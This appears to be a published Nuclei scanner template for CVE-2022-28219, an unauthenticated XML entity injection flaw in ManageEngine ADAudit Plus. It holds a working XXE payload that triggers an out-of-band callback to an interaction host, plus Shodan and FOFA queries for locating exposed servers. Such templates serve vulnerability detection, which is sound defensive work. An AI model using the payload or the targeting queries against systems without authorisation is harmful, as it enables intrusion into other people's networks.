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Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution

ID: CVE-2022-28219

Severity: critical

Author: dwisiswant0

Tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp

Description

Section titled “Description”

Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to anunauthenticated XML entity injection attack that can lead to remote code execution.

YAML Source

Section titled “YAML Source”
id: CVE-2022-28219


info:
  name: Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an
    unauthenticated XML entity injection attack that can lead to remote code execution.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system.
  remediation: |
    Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus
    is configured with a dedicated service account with restricted privileges.
  reference:
    - https://www.manageengine.com/products/active-directory-audit/cve-2022-28219.html
    - https://www.horizon3.ai/red-team-blog-cve-2022-28219/
    - https://manageengine.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28219
    - http://cewolf.sourceforge.net/new/index.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28219
    cwe-id: CWE-611
    epss-score: 0.97453
    epss-percentile: 0.9995
    cpe: cpe:2.3:a:zohocorp:manageengine_adaudit_plus:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_adaudit_plus
    shodan-query:
      - http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"
      - http.title:"adaudit plus" || http.title:"manageengine - admanager plus"
    fofa-query: title="adaudit plus" || http.title:"manageengine - admanager plus"
    google-query: intitle:"adaudit plus" || http.title:"manageengine - admanager plus"
  tags: cve,cve2022,xxe,rce,zoho,manageengine,unauth,zohocorp


http:
  - method: POST
    path:
      - "{{BaseURL}}/api/agent/tabs/agentData"


    body: |
      [
        {
          "DomainName": "{{Host}}",
          "EventCode": 4688,
          "EventType": 0,
          "TimeGenerated": 0,
          "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://{{interactsh-url}}\"> %xxe; ]>"
        }
      ]


    headers:
      Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"


      - type: word
        part: body
        words:
          - "ManageEngine"
# digest: 4a0a004730450221008f2fe30de0400a7a4eaa92aa958a5dbf44293e8bd535f6a53aa915accf6b1769022059c99595613b394dcde57f11bd621f880d78e78708ee1473f78f0d5f8e995cec:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-28219.yaml"

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